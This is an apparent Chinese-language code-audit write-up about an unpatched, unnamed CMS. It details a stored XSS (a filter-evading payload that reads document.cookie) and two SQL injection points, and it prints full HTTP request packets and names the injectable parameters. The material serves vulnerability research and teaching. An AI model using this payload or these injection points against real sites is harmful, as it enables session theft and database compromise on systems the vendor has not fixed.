0x01、前言

该文章是接着某cms代码审计引发的思考这篇文章写的。该CMS是从CNVD上看到的,相关漏洞厂商并没有修复,没修复也就不说名字了,主要是提供一种思路,如果能在代码审计中帮到大家那就是最好了。

0x02、存储XSS漏洞

首先自己注册一个账户然后登陆,在文章标题处插入XSS payload

payload:<details open ontoggle= confirm(document[`coo`+`kie`])>


管理员登录后台点击编辑且没有修改里面的字符串就保存的话那便会触发XSS漏洞


首先看一下在前台发表文章处的请求数据包

POST /user/release.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 187
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/user/release.html
Cookie: PHPSESSID=t616fln4me32an09rj6v67vr5b

ajax=1&isshow=&molds=article&tid=2&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&keywords=&litpic=&description=123&body=%3Cp%3E123%3Cbr%2F%3E%3C%2Fp%3E

根据url定位到release函数

该函数主要是先检查是否是登录状态然后检查是否存在违禁词汇,其中违禁词汇取的是webconf['mingan']的值,由前篇文章可知数据存放在数据库中然后通过缓存读取相关信息,可以直接输出一下

过滤的东西和XSS关系不大,主要是涉及到文章敏感汉字之类的,然后被保存到数据库中的时候<>变成了&lt; &gt;


看下是如何进行操作的,继续跟进该函数,通过frparam函数进行操作之后对title进行赋值

frparam函数在获取到相关值后调用format_param函数对数据进行处理,由于传入的int的值为1.所以对传入的参数进行了html实体编码


所以在数据库中存储的是进行过实体编码的xss payload
最后登入后台看下编辑函数

POST /admin.php/Article/editarticle.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 340
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/admin.php/Article/editarticle/id/34.html
Cookie: PHPSESSID=t616fln4me32an09rj6v67vr5b

go=1&id=34&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&tid=2&seo_title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&hits=0&keywords=&litpic=&file=&description=123&orders=0&tags=&isshow=0&addtime=2020-05-28+17%3A17%3A39&target=&ownurl=&body=%3Cp%3E123%3Cbr%2F%3E%3C%2Fp%3E
看一下数据中的更新情况,又将&lt; &gt;变成了<>,所以触发了XSS漏洞


定位到漏洞函数editarticle,看到同样调用了frparam函数

frparam函数由于没有传入参数会直接返回url中的数据

在请求包中可以看到是已经将html实体化编码变成了原字符,所以data取到的数据时没有经过html编码的数据

所以在进行update更新操作的时候就会向数据库写入未经html实体化编码的数据

0x03、sql注入漏洞一

同样还是在发表文章这

POST /user/release.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 153
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/user/release/molds/article.html
Cookie: PHPSESSID=84mcpgsvrgnfag0fnl3ngjm2eo; XDEBUG_SESSION=PHPSTORM

ajax=1&isshow=&molds=article&tid=2&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&keywords=123&litpic=&description=123



可以看到有明显的时间延迟,存在基于时间的延迟注入
为了直观的展示是否进行了拼接sql语句的操作,监控下sql语句的执行,在mysql监控工具中可以看到没有任何过滤就进行了sql语句的拼接,触发了sql注入漏洞

定位到漏洞函数release函数,重点关注下sql语句的拼接问题,一共有两处进行了sql的拼接,只要在进行拼接前没有进行过滤就会存在sql注入漏洞

其中$this->classtypedata对应的是数据库中的classtype表中的数据

然后跟进到get_fields_data函数,根据xdebug调试代码的运行情况,发现fields为空,所以会直接返回data,其中并没有进行任何过滤

在release函数函数中只是要求$w['tid']!=0即可,所以我们可以在tid参数和molds参数处构造sql注入语句

用slmap跑的结果

0x04、sql注入漏洞二

在更改个人资料处

POST /user/userinfo.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/user/userinfo.html
Cookie: PHPSESSID=84mcpgsvrgnfag0fnl3ngjm2eo
Upgrade-Insecure-Requests: 1

litpic=&file=&username=test&tel=&email=1%401.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4

在userinfo函数中可以看到只对tel ,pass sex repass等参数进行了过滤,并不涉及province city address等地址,意味着可以随意拼接sql语句触发 sql注入漏洞


通过mysql监控工具可以看到已经带入查询,触发了sql注入漏洞

通过sqlmap跑一下

*0x04、总结

对于XSS的漏洞的审计,也看到过很多前端经过html实体化编码,然后在后端经过编辑后又以原始字符储存在了数据库里,所以在看到自己的payload进行了实体化编码也不要灰心,也许有意想不到的惊喜。对于SQL注入漏洞来说如果能结合sql语句来进行监控就更好了。对于查看mysql语句的执行情况当然可以通过查看日志的方式来实现。但是确实可读性不太大,用了几款sql语句监控工具,自己也造过轮子,比较来看一款java写的比较顺手,也算是比较经典吧(链接:https://pan.baidu.com/s/1dHhJ6LF 密码:o806。不知道什么时候就过期了,需要的可以自取)。这款CMS的审计工作至此也就告一段落了,总的来说挺适合新手阅读的,如果能帮到向我一样的新手那也是很有意义的一件事

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖